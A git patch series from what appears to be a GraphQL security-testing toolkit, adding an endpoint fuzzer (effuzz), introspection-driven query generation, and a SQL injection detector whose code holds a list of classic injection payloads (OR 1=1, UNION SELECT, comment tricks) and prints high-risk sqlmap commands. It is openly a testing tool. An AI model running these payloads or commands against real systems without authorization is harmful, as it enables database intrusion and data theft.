PROCESSING -# ===================================================== -def response_stats(resp): - text = resp.text +""" + +def parse_header_list(headers_list: List[str]) -> Dict[str, str]: + """ + Convierte una lista de 'Name: Value' a dict. Última gana en duplicados. + """ + hdrs: Dict[str, str] = {} + for h in headers_list or []: + if ":" not in h: + print(f"⚠️ Ignorando cabecera malformada (esperado 'Name: Value'): {h}") + continue + name, value = h.split(":", 1) + hdrs[name.strip()] = value.strip() + return hdrs + +def perform_introspection_request(url: str, headers: Dict[str, str], timeout: int = 15) -> Optional[Dict[str, Any]]: + """ + Realiza la petición POST con la consulta de introspección. + Devuelve dict JSON si es válida, o None en fallo. + """ + if requests is None: + print("❌ La librería 'requests' es necesaria para obtener introspección automáticamente. Instálala con: pip install requests") + return None + try: + resp = requests.post(url, headers=headers, json={"query": INTROSPECTION_QUERY}, timeout=timeout) + except requests.exceptions.RequestException as e: + print(f"❌ Error HTTP al solicitar introspección: {e}") + return None + + try: + data = resp.json() + except Exception as e: + print(f"❌ La respuesta no es JSON válido: {e}") + return None + + if (isinstance(data, dict) and + ((data.get("data") and isinstance(data["data"], dict) and "__schema" in data["data"]) or ("__schema" in data))): + return data + + print("❌ La respuesta de introspección no contiene '__schema' (no es una introspección GraphQL válida).") + return None + +def save_introspection_file(data: Dict[str, Any], path: str = "introspection_schema.json") -> None: + try: + with open(path, "w", encoding="utf-8") as fh: + json.dump(data, fh, indent=2, ensure_ascii=False) + print(f"✅ Introspection guardada en: {path}") + except Exception as e: + print(f"⚠️ Falló al guardar introspección en {path}: {e}") + +def load_introspection_from_path(path: str) -> Optional[Dict[str, Any]]: + try: + with open(path, "r", encoding="utf-8") as f: + data = json.load(f) + return data + except json.JSONDecodeError: + print(f"❌ El archivo de introspección no es JSON válido: {path}") + return None + except Exception as e: + print(f"❌ Error leyendo {path}: {e}") + return None + +def response_stats(resp: requests.Response) -> (int, int, int): + text = resp.text or "" size = len(text) words = len(text.split()) lines = text.count("\n") + 1 return size, words, lines - -def color_status(code, resp): - """Assign a color according to the real response type.""" - + +def color_status(code: int, resp: requests.Response) -> str: + """ + Devuelve código coloreado acorde al tipo de respuesta. + Heurística ligera que intenta imitar comportamiento original. + """ if code == 200: try: data = resp.json() if "errors" not in data: return f"{GREEN}{code}{RESET}" - except: + except Exception: pass return f"{YELLOW}{code}{RESET}" - + if code in (401, 403) or "Method forbidden" in resp.text: return f"{RED}{code}{RESET}" - + if code in (400, 500): return f"{YELLOW}{code}{RESET}" - + return str(code) - - -def test_endpoint(name, is_mutation=False): - - if is_mutation: - gql = f"mutation {name} {{ {name} }}" - else: - gql = f"query {name} {{ {name} }}" - - body = { - "operationName": name, - "variables": variables_value, - "query": gql - } - + +def build_minimal_query_for_method(method_name: str) -> str: + """ + Construye una query simple para testear el método. + Intentamos la forma: query { methodName } + Si requiere args o selección, el endpoint responderá con error (400) y eso se reportará. + """ + return f"query {{ {method_name} }}" + +def perform_request(url: str, headers: Dict[str, str], payload: Dict[str, Any], timeout: int = 15) -> Optional[requests.Response]: + if requests is None: + print("❌ La librería 'requests' es necesaria para ejecutar effuzz. Instálala con: pip install requests") + return None try: - if args.debug: - print("\n====================== REQUEST ======================") - print("→ Endpoint:", GRAPHQL_URL) - print("→ Headers:", json.dumps(HEADERS, indent=2)) - print("→ Sent body:") - print(json.dumps(body, indent=2)) - resp = requests.post(GRAPHQL_URL, headers=HEADERS, json=body) - if args.debug: - print("\n====================== RESPONSE =====================") - print("← HTTP Status:", resp.status_code) - try: - print(json.dumps(resp.json(), indent=2)) - except: - print(resp.text) - print("=====================================================\n") - except Exception: + resp = requests.post(url, headers=headers, json=payload, timeout=timeout) + return resp + except requests.exceptions.RequestException as e: + print(f"❌ Error en petición a {url}: {e}") return None - - size, words, lines = response_stats(resp) - status_colored = color_status(resp.status_code, resp) - - return { - "status": status_colored, - "status_raw": resp.status_code, - "size": size, - "words": words, - "lines": lines, + +def get_fields_from_schema(schema: Dict[str, Any]) -> (List[str], List[str]): + types = schema.get("types", []) if isinstance(schema, dict) else [] + def get_fields(type_name: str): + if not type_name: + return [] + for t in types: + if t.get("name") == type_name: + return [f["name"] for f in t.get("fields", [])] if t.get("fields") else [] + return [] + query_type_name = schema.get("queryType", {}).get("name") + mutation_type_name = schema.get("mutationType", {}).get("name") + queries = get_fields(query_type_name) + mutations = get_fields(mutation_type_name) + return queries, mutations + +def main(): + print_banner() + + parser = argparse.ArgumentParser(description="Test GraphQL endpoints using introspection.") + # Now introspection is optional: if omitted we will query the endpoint automatically + parser.add_argument("--introspection", required=False, help="Path to the introspection JSON file") + parser.add_argument("--url", required=True, help="GraphQL endpoint URL") + + parser.add_argument("-s", "--silent", action="store_true", + help="Only show endpoints that DO NOT return 401") + + parser.add_argument("--cookie", help="File containing cookie in plain text (one line)") + parser.add_argument("--variables", help="JSON file with variables for the payload") + parser.add_argument("--debug", action="store_true", help="Show full request and response") + parser.add_argument("--match-code", "-mc", + help="Show only responses with matching status codes (e.g., 200,403,500)") + parser.add_argument("--filter-code", "-fc", + help="Hide responses with matching status codes (e.g., 401,404)") + + # Support repeated headers -H "Name: Value" + parser.add_argument("-H", "--header", action="append", default=[], help="Additional HTTP header to include (can be repeated). Format: 'Name: Value'") + + # Control saving of automatic introspection (default: save) + parser.add_argument("--save-introspection", dest="save_introspection", action="store_true", help="Save automatic introspection to introspection_schema.json") + parser.add_argument("--no-save-introspection", dest="save_introspection", action="store_false", help="Do not save automatic introspection to disk") + parser.set_defaults(save_introspection=True) + + args = parser.parse_args() + + GRAPHQL_URL = args.url + INTROSPECTION_FILE = args.introspection + + match_codes = None + if args.match_code: + match_codes = set(int(x.strip()) for x in args.match_code.split(",") if x.strip().isdigit()) + + filter_codes = None + if args.filter_code: + filter_codes = set(int(x.strip()) for x in args.filter_code.split(",") if x.strip().isdigit()) + + # Build headers + extra_headers = parse_header_list(args.header) + HEADERS: Dict[str, str] = { + "Content-Type": "application/json" } - -# ===================================================== -# FFUF-LIKE OUTPUT -# ===================================================== -def print_result(name, r): - if r is None: - return - - status_raw = r["status_raw"] - - if args.silent and status_raw == 401: - return - - if match_codes is not None and status_raw not in match_codes: - return - - if filter_codes is not None and status_raw in filter_codes: - return - - print( - f"{CYAN}{name}{RESET} " - f"[Status: {r['status']}] " - f"[Size: {r['size']}] " - f"[Words: {r['words']}] " - f"[Lines: {r['lines']}] " - ) - -# ========================= QUERIES ========================== -for q in queries: - res = test_endpoint(q) - print_result(q, res) - -# ========================= MUTATIONS ========================== -for m in mutations: - res = test_endpoint(m, is_mutation=True) - print_result(m, res) - -print("\n[✓] Test completed.\n") + + # Cookie file handling: gives precedence to explicit -H Cookie + if args.cookie: + if not os.path.exists(args.cookie): + print(f"❌ Cookie file not found: {args.cookie}") + sys.exit(1) + with open(args.cookie, "r", encoding="utf-8") as f: + cookie_value = f.read().strip() + if "Cookie" not in extra_headers: + extra_headers["Cookie"] = cookie_value + + HEADERS.update(extra_headers) + + # Load variables file if provided + variables_value: Dict[str, Any] = {} + if args.variables: + if not os.path.exists(args.variables): + print(f"❌ Variables file not found: {args.variables}") + sys.exit(1) + try: + with open(args.variables, "r", encoding="utf-8") as f: + variables_value = json.load(f) + except Exception: + print("❌ Variables file is NOT valid JSON.") + sys.exit(1) + + introspection_data: Optional[Dict[str, Any]] = None + + # If user provided a file, load it + if INTROSPECTION_FILE: + if not os.path.exists(INTROSPECTION_FILE): + print(f"❌ File not found: {INTROSPECTION_FILE}") + sys.exit(1) + introspection_data = load_introspection_from_path(INTROSPECTION_FILE) + if introspection_data is None: + sys.exit(1) + print(f"✅ Introspection cargada desde: {INTROSPECTION_FILE}") + else: + # No introspection file provided -> perform introspection automatically + print(f"[*] No se ha pasado --introspection; intentando obtener introspección desde {GRAPHQL_URL} ...") + result = perform_introspection_request(GRAPHQL_URL, HEADERS) + if result is None: + print("❌ No se pudo obtener la introspección del endpoint. Salida.") + sys.exit(1) + introspection_data = result + print("✅ Introspection obtenida del endpoint.") + if args.save_introspection: + save_introspection_file(introspection_data, path="introspection_schema.json") + + # Validate introspection structure + if not isinstance(introspection_data, dict): + print("❌ La introspección cargada no es un objeto JSON válido.") + sys.exit(1) + + # Support both shapes: {"data": {"__schema": ...}} or {"__schema": ...} + schema = None + if "data" in introspection_data and isinstance(introspection_data["data"], dict): + schema = introspection_data["data"].get("__schema", {}) + else: + schema = introspection_data.get("__schema", {}) + + if not isinstance(schema, dict) or not schema: + print("❌ No se encontró '__schema' en la introspección o es inválido.") + sys.exit(1) + + types = schema.get("types", []) + + # Extract queries and mutations + def get_fields(type_name: Optional[str]): + if not type_name: + return [] + for t in types: + if t.get("name") == type_name: + return [f["name"] for f in t.get("fields", [])] if t.get("fields") else [] + return [] + + query_type_name = schema.get("queryType", {}).get("name") + mutation_type_name = schema.get("mutationType", {}).get("name") + + queries = get_fields(query_type_name) if query_type_name else [] + mutations = get_fields(mutation_type_name) if mutation_type_name else [] + + print(f"[✓] Introspection cargada ({len(queries)} queries, {len(mutations)} mutations)") + print("------------------------------------------------------------") + + # ======================================================================== + # Minimal ffuf-like processing: para cada método en queries, enviamos una petición + # y mostramos status/size/words/lines. Este bloque puede ampliarse con payloads, + # control de códigos, filtros, etc. (mantiene la funcionalidad básica del original). + # ======================================================================== + + if not queries: + print("⚠️ No se han encontrado queries para probar.") + else: + print("Probando queries (envío minimal):") + for qname in queries: + payload_query = build_minimal_query_for_method(qname) + payload = {"query": payload_query} + # Si variables globales fueron provistas, intentar incluirlas (aunque la query minimal no las usa) + if variables_value: + payload["variables"] = variables_value + resp = perform_request(GRAPHQL_URL, HEADERS, payload) + if resp is None: + print(f"{qname:30} -> {RED}request failed{RESET}") + continue + code = resp.status_code + size, words, lines = response_stats(resp) + colored = color_status(code, resp) + # Aplica filtros si están presentes + if match_codes and code not in match_codes: + continue + if filter_codes and code in filter_codes: + continue + if args.silent and code == 401: + continue + + print(f"{qname:30} [Status: {colored}] [Size: {size}] [Words: {words}] [Lines: {lines}]") + + if args.debug: + try: + print("---- RESPONSE JSON ----") + print(json.dumps(resp.json(), indent=2, ensure_ascii=False)) + except Exception: + print("---- RESPONSE TEXT ----") + print(resp.text) + + print("------------------------------------------------------------") + print("Fin de effuzz. (Este script hace una comprobación básica; modifica el bucle para incluir payloads, concurrencia u otras heurísticas según necesites.)") + +if __name__ == "__main__": + main() From 24565b36ff30d1ea8c0a854add56b10e3953dfdf Mon Sep 17 00:00:00 2001 From: jonyluke Date: Sun, 14 Dec 2025 17:38:48 +0100 Subject: [PATCH 04/30] Add README for GraphQL SQLi Detector Added a README for the GraphQL SQLi Detector script, detailing its functionality, requirements, installation, usage, and output format. --- sqli/README.md | 45 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 sqli/README.md diff --git a/sqli/README.md b/sqli/README.md new file mode 100644 index 0000000..822f387 --- /dev/null +++ b/sqli/README.md @@ -0,0 +1,45 @@ +```markdown +# GraphQL SQLi Detector + +Small helper script to detect basic SQL injection indicators in GraphQL endpoints and produce reproducible sqlmap marker files. + +What it does +- Performs GraphQL introspection to enumerate Query fields and string arguments. +- Sends a curated set of SQLi-like payloads to candidate string arguments and looks for SQL error messages, notable response differences or nulls that may indicate injection. +- For each finding the script writes a marker `.http` file in `repro-payloads/` where the vulnerable value is replaced by `*`. +- Prints a recommended `sqlmap` command per finding that references the marker file and injects into `JSON[query]`. + +Requirements +- Python 3.7+ +- requests (HTTP client) + +Install +```bash +pip install requests +# or, if a requirements file exists: +pip install -r sqli/requirements.txt +``` + +Usage +```bash +# Basic usage; headers passed as a JSON string (example) +python3 sqli/sqli_detector.py https://example.com/graphql '{"Authorization":"Bearer TOKEN"}' +``` + +Output format (sanitized example) + +Below is a sample of the detector output with sensitive data redacted. Paths are shown as relative to the repository. + +```text +$ python3 sqli/sqli_detector.py https://example.com/graphql +[*] Running introspection on https://example.com/graphql +VULNERABLE PARAMETER: username (field: user) +Evidence: Baseline != Attack (baseline {"data": {"user": null}}, attack {"data": {"user": {"uuid": "1"}}}) +Recommended sqlmap command: +sqlmap -r 'repro-payloads/user_username___marker.http' -p "JSON[query]" --batch --skip-urlencode --parse-errors --random-agent +-------------------------------------------------------------------------------- +VULNERABLE PARAMETER: username (field: user) +Evidence: Baseline != Attack (baseline {"data": {"user": null}}, attack {"data": {"user": {"uuid": "3"}}}) +Recommended sqlmap command: +sqlmap -r 'repro-payloads/user_username___marker.http' -p "JSON[query]" --batch --skip-urlencode --parse-errors --random-agent +``` From 638758e5e5e79cf262efa7d3c305fe766681c085 Mon Sep 17 00:00:00 2001 From: jonyluke Date: Sun, 14 Dec 2025 17:39:13 +0100 Subject: [PATCH 05/30] Add files via upload --- sqli/requirements.txt | 2 + sqli/sqli_detector.py | 407 ++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 409 insertions(+) create mode 100644 sqli/requirements.txt create mode 100644 sqli/sqli_detector.py diff --git a/sqli/requirements.txt b/sqli/requirements.txt new file mode 100644 index 0000000..0cf5745 --- /dev/null +++ b/sqli/requirements.txt @@ -0,0 +1,2 @@ +requests>=2.28.0 +colorama>=0.4.0 diff --git a/sqli/sqli_detector.py b/sqli/sqli_detector.py new file mode 100644 index 0000000..416087a --- /dev/null +++ b/sqli/sqli_detector.py @@ -0,0 +1,407 @@ +#!/usr/bin/env python3 +""" +sqli_detector.py +GraphQL SQL injection mini-detector (Python). + +Behavior: + - For each finding the script creates ONLY a marker file in repro-payloads/ + where the detected vulnerable value is replaced by '*' inside the GraphQL query string. + - The script prints only the recommended sqlmap command for the marker file + (uses -r and targets JSON[query] with --skip-urlencode and --parse-errors). + - It does NOT write files that contain the original payloads that may break GraphQL parsing. + +Usage: + python graphql-sqli-detector/sqli_detector.py '' + +Example: + python graphql-sqli-detector/sqli_detector.py http://localhost:4000/graphql '{"Authorization":"Bearer TOKEN"}' +""" +from __future__ import annotations +import os +import re +import json +import hashlib +import argparse +from datetime import datetime, timezone +from typing import Any, Dict, List, Optional +from urllib.parse import urlparse +from pathlib import Path + +import requests +try: + from colorama import init as colorama_init, Fore, Style + colorama_init(autoreset=True) +except Exception: + class _Dummy: + def __getattr__(self, name): return "" + Fore = Style = _Dummy() + +INTROSPECTION_QUERY = """ +query IntrospectionQuery { + __schema { + types { + kind + name + fields { + name + args { + name + type { + kind + name + ofType { + kind + name + ofType { + kind + name + } + } + } + } + type { + kind + name + ofType { + kind + name + ofType { + kind + name + } + } + } + } + } + } +} +""" + +PAYLOADS = [ + '" OR "1"="1', + "' OR '1'='1", + "admin' -- ", + "x' UNION SELECT NULL-- ", + '"\' OR 1=1 -- ', + "'", + "admin'/*", + 'admin"/*', +] + +SQL_ERROR_SIGS = [ + re.compile(r"SQL syntax", re.I), + re.compile(r"syntax error", re.I), + re.compile(r"unterminated quoted string", re.I), + re.compile(r"mysql", re.I), + re.compile(r"postgres", re.I), + re.compile(r"sqlite", re.I), + re.compile(r"sqlstate", re.I), + re.compile(r"you have an error in your sql syntax", re.I), + re.compile(r"pg_query\(", re.I), +] + +TIMEOUT = 20 # seconds +REPRO_DIR = "repro-payloads" +TRUNCATE_LEN_DEFAULT = 120 + + +def try_parse_headers(h: Optional[str]) -> Dict[str, str]: + if not h: + return {} + try: + parsed = json.loads(h) + if isinstance(parsed, dict): + return parsed + if isinstance(parsed, list): + res = {} + for item in parsed: + if isinstance(item, dict): + res.update(item) + return res + print(Fore.YELLOW + "[!] Headers JSON is not an object/dict; trying simple parse.") + except Exception: + pass + headers = {} + for part in re.split(r";|,", h): + part = part.strip() + if not part: + continue + if ":" in part: + k, v = part.split(":", 1) + headers[k.strip()] = v.strip() + if headers: + return headers + print(Fore.YELLOW + "[!] Failed to parse headers; no additional headers will be used.") + return {} + + +def post_graphql(endpoint: str, headers: Dict[str, str], payload: Dict[str, Any]) -> Dict[str, Any]: + h = {"Content-Type": "application/json"} + h.update(headers) + try: + r = requests.post(endpoint, json=payload, headers=h, timeout=TIMEOUT) + try: + data = r.json() + except Exception: + data = {"_raw_text": r.text} + return {"status": r.status_code, "data": data} + except requests.RequestException as e: + return {"status": 0, "data": {"errors": [{"message": str(e)}]}} + + +def extract_named_type(t: Optional[Dict[str, Any]]) -> Optional[str]: + if not t: + return None + if t.get("name"): + return t.get("name") + if t.get("ofType"): + return extract_named_type(t.get("ofType")) + return None + + +def is_string_type(arg_type_name: Optional[str]) -> bool: + if not arg_type_name: + return False + n = arg_type_name.lower() + return n in ("string", "id", "varchar", "text") + + +def find_type_definition(schema_types: List[Dict[str, Any]], name: Optional[str]) -> Optional[Dict[str, Any]]: + if not name: + return None + for t in schema_types: + if t.get("name") == name: + return t + return None + + +def pick_scalar_field_for_type(type_def: Optional[Dict[str, Any]], schema_types: List[Dict[str, Any]]) -> Optional[str]: + if not type_def or not type_def.get("fields"): + return None + for f in type_def.get("fields", []): + tname = extract_named_type(f.get("type")) + if not tname: + continue + low = tname.lower() + if low in ("string", "int", "float", "boolean", "id", "integer"): + return f.get("name") + td = find_type_definition(schema_types, tname) + if not td or not td.get("fields"): + return f.get("name") + return None + + +def check_sql_error_in_response(resp_data: Dict[str, Any]) -> Optional[Dict[str, str]]: + if not resp_data: + return None + errors = resp_data.get("errors") + if not errors: + return None + for e in errors: + msg = str(e.get("message", "")) + for rx in SQL_ERROR_SIGS: + if rx.search(msg): + return {"evidence": msg, "pattern": rx.pattern} + return None + + +def normalize_resp(data: Any) -> str: + try: + return json.dumps(data, sort_keys=True, ensure_ascii=False) + except Exception: + return str(data) + + +def truncate_str(s: str, n: int = 180) -> str: + if not s: + return "" + return s if len(s) <= n else s[:n] + "..." + + +def build_query(field_name: str, arg_name: str, payload_value: str, selection: Optional[str]) -> Dict[str, Any]: + value_literal = json.dumps(payload_value) + if selection: + q = f'query {{ {field_name}({arg_name}: {value_literal}) {{ {selection} }} }}' + else: + q = f'query {{ {field_name}({arg_name}: {value_literal}) }}' + return {"query": q} + + +def _sanitize_name(s: str) -> str: + return re.sub(r"[^\w\-]+", "_", s)[:64] + + +def _write_raw_http(endpoint: str, headers: Dict[str, str], body_json: Dict[str, Any], fname: str) -> str: + repo_root = Path.cwd() + repro_dir = repo_root / REPRO_DIR + repro_dir.mkdir(parents=True, exist_ok=True) + parsed = urlparse(endpoint) + path = parsed.path or "/" + if parsed.query: + path = path + "?" + parsed.query + host_header = parsed.netloc + hdrs = {} + hdrs["Host"] = host_header + for k, v in (headers or {}).items(): + if k.lower() == "host": + hdrs["Host"] = v + else: + hdrs[k] = v + if not any(k.lower() == "content-type" for k in hdrs): + hdrs["Content-Type"] = "application/json" + body_str = json.dumps(body_json, ensure_ascii=False) + fpath = repro_dir / fname + lines = [] + lines.append(f"POST {path} HTTP/1.1") + for k, v in hdrs.items(): + lines.append(f"{k}: {v}") + lines.append("") # blank line + lines.append(body_str) + content = "\r\n".join(lines) + "\r\n" + with open(fpath, "w", encoding="utf-8") as fh: + fh.write(content) + return str(fpath) + + +def write_repro_request_file_with_marker(endpoint: str, headers: Dict[str, str], attack_query: str, field: str, arg: str, payload: str) -> str: + """ + Write only a marker .http file in which the first occurrence of the detected + payload is replaced by '*' inside the GraphQL query string. + Returns the absolute path to the written marker file. + """ + marker_query = attack_query.replace(payload, "*", 1) + ts = datetime.now(timezone.utc).strftime("%Y%m%dT%H%M%SZ") + short_hash = hashlib.sha1(marker_query.encode("utf-8")).hexdigest()[:8] + fname = f"{_sanitize_name(field)}_{_sanitize_name(arg)}_{ts}_{short_hash}_marker.http" + body = {"query": marker_query} + return _write_raw_http(endpoint, headers, body, fname) + + +def _build_sqlmap_cmd_marker(repro_marker_path: str) -> str: + # target JSON[query] on marker file, skip urlencode and parse errors + return f"sqlmap -r '{repro_marker_path}' -p \"JSON[query]\" --batch --skip-urlencode --parse-errors --random-agent" + + +def run_detector(endpoint: str, headers: Dict[str, str]) -> List[Dict[str, Any]]: + print(f"[*] Running introspection on {endpoint}") + intros = post_graphql(endpoint, headers, {"query": INTROSPECTION_QUERY}) + schema = None + try: + schema = intros["data"]["data"]["__schema"] + except Exception: + print(Fore.RED + "[!] Failed to retrieve schema via introspection. Response:") + print(json.dumps(intros.get("data", {}), ensure_ascii=False, indent=2)) + return [] + + types = schema.get("types", []) + query_type = next((t for t in types if t.get("name") == "Query"), None) + if not query_type or not query_type.get("fields"): + print(Fore.RED + "[!] Query type or fields not found in schema.") + return [] + + findings: List[Dict[str, Any]] = [] + + for field in query_type.get("fields", []): + args = field.get("args", []) or [] + if not args: + continue + for arg in args: + arg_type_name = extract_named_type(arg.get("type")) + if not is_string_type(arg_type_name): + continue + + return_type_name = extract_named_type(field.get("type")) + return_type_def = find_type_definition(types, return_type_name) + selection = pick_scalar_field_for_type(return_type_def, types) + if not selection and return_type_def and return_type_def.get("fields"): + fallback = next((f for f in return_type_def["fields"] if f["name"] in ("id", "uuid", "username", "name", "title")), None) + if fallback: + selection = fallback["name"] + + benign = "testuser" + base_payload = build_query(field["name"], arg["name"], benign, selection) + base_resp = post_graphql(endpoint, headers, base_payload) + base_norm = normalize_resp(base_resp.get("data")) + + for payload in PAYLOADS: + attack_payload = build_query(field["name"], arg["name"], payload, selection) + attack_resp = post_graphql(endpoint, headers, attack_payload) + + sql_err = check_sql_error_in_response(attack_resp.get("data")) + attack_query = attack_payload["query"] + + if sql_err: + # create only marker file and recommend marker-based command + repro_marker = write_repro_request_file_with_marker(endpoint, headers, attack_query, field["name"], arg["name"], payload) + recommended_cmd = _build_sqlmap_cmd_marker(repro_marker) + findings.append({ + "field": field["name"], + "arg": arg["name"], + "payload": payload, + "type": "SQL_ERROR_IN_RESPONSE", + "evidence": sql_err["evidence"], + "base_response": base_resp.get("data"), + "attack_response": attack_resp.get("data"), + "recommended_cmd": recommended_cmd, + }) + continue + + attack_norm = normalize_resp(attack_resp.get("data")) + if base_norm and attack_norm and base_norm != attack_norm: + repro_marker = write_repro_request_file_with_marker(endpoint, headers, attack_query, field["name"], arg["name"], payload) + recommended_cmd = _build_sqlmap_cmd_marker(repro_marker) + findings.append({ + "field": field["name"], + "arg": arg["name"], + "payload": payload, + "type": "RESPONSE_DIFF", + "evidence": f"Baseline != Attack (baseline {truncate_str(base_norm, 150)}, attack {truncate_str(attack_norm, 150)})", + "base_response": base_resp.get("data"), + "attack_response": attack_resp.get("data"), + "recommended_cmd": recommended_cmd, + }) + continue + + if base_norm and attack_norm and ("null" in attack_norm) and ("null" not in base_norm): + repro_marker = write_repro_request_file_with_marker(endpoint, headers, attack_query, field["name"], arg["name"], payload) + recommended_cmd = _build_sqlmap_cmd_marker(repro_marker) + findings.append({ + "field": field["name"], + "arg": arg["name"], + "payload": payload, + "type": "NULL_ON_ATTACK", + "evidence": "Null returned on attack while baseline had data", + "base_response": base_resp.get("data"), + "attack_response": attack_resp.get("data"), + "recommended_cmd": recommended_cmd, + }) + continue + + return findings + + +def print_findings_short(findings: List[Dict[str, Any]], truncate_len: int): + if not findings: + print(Fore.GREEN + "[*] No obvious SQLi indications were found using the basic payloads.") + return + for f in findings: + print(Fore.RED + Style.BRIGHT + "VULNERABLE PARAMETER:" + Style.RESET_ALL + f" {f.get('arg')} (field: {f.get('field')})") + print(Fore.YELLOW + "Evidence:" + Style.RESET_ALL + f" {truncate_str(str(f.get('evidence', '')), truncate_len)}") + print(Fore.CYAN + "Recommended sqlmap command:" + Style.RESET_ALL) + print(Fore.WHITE + Style.DIM + f"{f.get('recommended_cmd')}") + print(Style.DIM + "-" * 80 + Style.RESET_ALL) + + +def main(): + parser = argparse.ArgumentParser(description="GraphQL SQLi mini-detector (writes marker .http files and prints recommended sqlmap commands)") + parser.add_argument("endpoint", help="GraphQL endpoint URL") + parser.add_argument("headers", nargs="?", help="Optional headers JSON, e.g. '{\"Authorization\":\"Bearer TOKEN\"}'", default=None) + args = parser.parse_args() + + headers = try_parse_headers(args.headers) + findings = run_detector(args.endpoint, headers) + print_findings_short(findings, TRUNCATE_LEN_DEFAULT) + + +if __name__ == "__main__": + main() From 59ac9bb9855bd5d153027a0343cfc543110374d7 Mon Sep 17 00:00:00 2001 From: jonyluke Date: Sun, 14 Dec 2025 17:40:32 +0100 Subject: [PATCH 06/30] Clean up README by removing empty code block Removed empty code block from README. --- effuzz/README.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/effuzz/README.md b/effuzz/README.md index bbaa4f7..16dc965 100644 --- a/effuzz/README.md +++ b/effuzz/README.md @@ -133,5 +133,3 @@ Only run effuzz on systems you are authorized to test. These tools are intended - Use qGen to generate full queries for interesting methods discovered by effuzz. - Use the sqli helper to target string arguments found in introspection for simple SQLi checks. -``` -``` From 3a80d5c262f3a9bef022136879126c1f137217bc Mon Sep 17 00:00:00 2001 From: jonyluke Date: Sun, 14 Dec 2025 17:41:22 +0100 Subject: [PATCH 07/30] Remove redundant note about query size management --- qGen/README.md | 1 - 1 file changed, 1 deletion(-) diff --git a/qGen/README.md b/qGen/README.md index bcd905d..020d5af 100644 --- a/qGen/README.md +++ b/qGen/README.md @@ -130,4 +130,3 @@ Troubleshooting - That the server responds to GraphQL introspection and returns JSON containing `__schema`. - If you prefer to avoid network fetching, run the introspection query separately (using curl, GraphiQL, or another client), save the JSON, and pass it with `--introspection`. - If a generated query is too large for your client, consider manually trimming fields or selecting nested fields selectively. -``` From 774694531aef10f653d47dd701d2480fe6f6a8df Mon Sep 17 00:00:00 2001 From: jonyluke Date: Sun, 14 Dec 2025 17:42:47 +0100 Subject: [PATCH 08/30] Clarify installation instructions in README Updated installation instructions for clarity. --- sqli/README.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/sqli/README.md b/sqli/README.md index 822f387..753f4db 100644 --- a/sqli/README.md +++ b/sqli/README.md @@ -12,11 +12,10 @@ What it does Requirements - Python 3.7+ - requests (HTTP client) +``` Install ```bash -pip install requests -# or, if a requirements file exists: pip install -r sqli/requirements.txt ``` From 6e46d2dce683874bbfea156d93147abdbfa37e9f Mon Sep 17 00:00:00 2001 From: jonyluke Date: Sun, 14 Dec 2025 21:52:17 +0100 Subject: [PATCH 09/30] Update sqlmap command with level and risk options --- sqli/sqli_detector.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sqli/sqli_detector.py b/sqli/sqli_detector.py index 416087a..793c751 100644 --- a/sqli/sqli_detector.py +++ b/sqli/sqli_detector.py @@ -279,7 +279,7 @@ def write_repro_request_file_with_marker(endpoint: str, headers: Dict[str, str], def _build_sqlmap_cmd_marker(repro_marker_path: str) -> str: # target JSON[query] on marker file, skip urlencode and parse errors - return f"sqlmap -r '{repro_marker_path}' -p \"JSON[query]\" --batch --skip-urlencode --parse-errors --random-agent" + return f"sqlmap --level 5 --risk 3 -r '{repro_marker_path}' -p \"JSON[query]\" --batch --skip-urlencode --parse-errors --random-agent" def run_detector(endpoint: str, headers: Dict[str, str]) -> List[Dict[str, Any]]: From a22c96a2e6ac131c59c7afadd4a9ecf66e21c345 Mon Sep 17 00:00:00 2001 From: jonyluke Date: Sun, 14 Dec 2025 21:54:36 +0100 Subject: [PATCH 10/30] Modify sqlmap command for vulnerability testing Updated sqlmap command with level and risk parameters. --- sqli/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sqli/README.md b/sqli/README.md index 753f4db..2dadf99 100644 --- a/sqli/README.md +++ b/sqli/README.md @@ -35,7 +35,7 @@ $ python3 sqli/sqli_detector.py https://example.com/graphql VULNERABLE PARAMETER: username (field: user) Evidence: Baseline != Attack (baseline {"data": {"user": null}}, attack {"data": {"user": {"uuid": "1"}}}) Recommended sqlmap command: -sqlmap -r 'repro-payloads/user_username___marker.http' -p "JSON[query]" --batch --skip-urlencode --parse-errors --random-agent +sqlmap --level 5 --risk 3 -r 'repro-payloads/user_username___marker.http' -p "JSON[query]" --batch --skip-urlencode --parse-errors --random-agent -------------------------------------------------------------------------------- VULNERABLE PARAMETER: username (field: user) Evidence: Baseline != Attack (baseline {"data": {"user": null}}, attack {"data": {"user": {"uuid": "3"}}}) From 7c13dc728feea34076c2aa84e2f96302354a7467 Mon Sep 17 00:00:00 2001 From: jonyluke Date: Tue, 16 Dec 2025 12:12:27 +0100 Subject: [PATCH 11/30] Update qGen.py --- qGen/qGen.py | 209 ++++++++++++++++++++++++++++++++++++++++++++++----- 1 file changed, 191 insertions(+), 18 deletions(-) diff --git a/qGen/qGen.py b/qGen/qGen.py index 5f43d6a..bd234d0 100644 --- a/qGen/qGen.py +++ b/qGen/qGen.py @@ -51,7 +51,8 @@ def load_introspection(): except Exception as e: print(f"❌ Error reading JSON: {e}\n") -# Introspection query used when obtaining schema from endpoint +# Introspection query used when obtaining schema from endpoint. +# NOTE: includes inputFields for input objects so we can expand them inline. INTROSPECTION_QUERY = """ query IntrospectionQuery { __schema { @@ -68,6 +69,15 @@ def load_introspection(): } type { kind name ofType { kind name } } } + inputFields { + name + description + defaultValue + type { kind name ofType { kind name ofType { kind name } } } + } + enumValues { + name + } } } } @@ -122,30 +132,48 @@ def save_introspection_file(data: Dict[str, Any], path: str = "introspection_sch except Exception as e: print(f"⚠️ Failed to save introspection to {path}: {e}") -# Extract query fields +# Extract query and mutation fields def extract_graphql_queries(introspection): try: types = introspection["data"]["__schema"]["types"] except Exception: return [] - query_type_name = introspection["data"]["__schema"]["queryType"]["name"] - query_type = next((t for t in types if t.get("name") == query_type_name), None) - - if not query_type: - return [] - - return query_type.get("fields", []) + methods = [] + + # Extract query fields (if present) + query_type = introspection["data"]["__schema"].get("queryType") + query_type_name = query_type.get("name") if isinstance(query_type, dict) else query_type + if query_type_name: + qtype = next((t for t in types if t.get("name") == query_type_name), None) + if qtype and "fields" in qtype: + for f in qtype["fields"]: + f_copy = f.copy() + f_copy["_root"] = 